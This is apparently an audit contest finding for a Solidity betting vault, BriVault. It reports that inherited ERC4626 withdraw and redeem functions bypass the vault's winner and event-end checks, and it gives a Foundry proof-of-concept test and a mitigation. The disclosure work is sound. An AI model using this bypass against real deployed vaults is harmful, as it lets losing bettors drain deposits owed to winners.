Submission Details
Severity:
Inherited ERC4626 functions bypass event logic
Root + Impact
Description
-
The contract inherits ERC4626
-
The custom withdraw function has a different signature than the inherited ERC4626 withdraw and redeem functions
@> contract BriVault is ERC4626, Ownable {
// Inherits ERC4626 withdraw(uint256 assets, address receiver, address owner)
// and redeem(uint256 shares, address receiver, address owner)
// Custom withdraw with different signature does not override inherited functions
@> function withdraw() external winnerSet {
if (block.timestamp < eventEndDate) {
revert eventNotEnded();
}
if (
keccak256(abi.encodePacked(userToCountry[msg.sender])) !=
keccak256(abi.encodePacked(winner))
) {
revert didNotWin();
}
}
}
Risk
Likelihood:
-
A user can call the inherited ERC4626
withdraworredeemfunctions immediately after depositing -
No priviledge access or special conditions needed
Impact:
-
Full bypass of the betting mechanism
-
Users who bet on losing teams can withdraw their full deposits after the event ends
Proof of Concept
// SPDX-License-Identifier: MIT
import {Test, console} from "forge-std/Test.sol";
import {BriVault} from "../src/BriVault.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
contract ERC4626BypassTest is Test {
BriVault public vault;
ERC20Mock public asset;
address public owner = makeAddr("owner");
address public alice = makeAddr("alice");
function setUp() public {
asset = new ERC20Mock();
vm.startPrank(owner);
vault = new BriVault(
asset,
300,
block.timestamp + 1 days,
makeAddr("feeAddress"),
10 * 10**18,
block.timestamp + 30 days
);
string[48] memory countries;
countries[0] = "Team A";
countries[1] = "Team B";
vault.setCountry(countries);
vm.stopPrank();
asset.mint(alice, 1000 * 10**18);
}
function testBypassViaERC4626Withdraw() public {
// Alice deposits
vm.startPrank(alice);
asset.approve(address(vault), type(uint256).max);
uint256 shares = vault.deposit(1000 * 10**18, alice);
vault.joinEvent(0); // Join losing team
vm.stopPrank();
// Event ends Team B wins
vm.warp(block.timestamp + 31 days);
vm.prank(owner);
vault.setWinner(1);
// Alice tries custom withdraw, should fail
vm.prank(alice);
vm.expectRevert(BriVault.didNotWin.selector);
vault.withdraw();
// But Alice can use ERC4626 redeem to bypass winner check
vm.prank(alice);
uint256 withdrawn = vault.redeem(shares, alice, alice);
// Alice successfully withdrew despite losing
assertGt(withdrawn, 900 * 10**18, "Alice withdrew funds despite losing bet");
assertEq(vault.balanceOf(alice), 0, "Alice burned all shares");
}
function testBypassViaERC4626BeforeEventEnds() public {
// Alice deposits
vm.startPrank(alice);
asset.approve(address(vault), type(uint256).max);
uint256 shares = vault.deposit(1000 * 10**18, alice);
vm.stopPrank();
// Immediately withdraw using ERC4626
vm.prank(alice);
uint256 withdrawn = vault.redeem(shares, alice, alice);
// Alice got her money back immediately
assertGt(withdrawn, 900 * 10**18, "Alice withdrew before event started");
}
}
Recommended Mitigation
contract BriVault is ERC4626, Ownable {
+ // Override ERC4626 withdraw to disable it
+ function withdraw(uint256 assets, address receiver, address owner)
+ public
+ virtual
+ override
+ returns (uint256)
+ {
+ revert("Use custom withdraw() after event");
+ }
+
+ // Override ERC4626 redeem to disable it
+ function redeem(uint256 shares, address receiver, address owner)
+ public
+ virtual
+ override
+ returns (uint256)
+ {
+ revert("Use custom withdraw() after event");
+ }
// Keep existing custom withdraw function
function withdraw() external winnerSet {
// ... existing logic
}
}
Updates
Appeal created
bube 19 days ago
Submission Judgement Published Assigned finding tags:
Unrestricted ERC4626 functions
Rewards breakdown
nSLOC
193This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.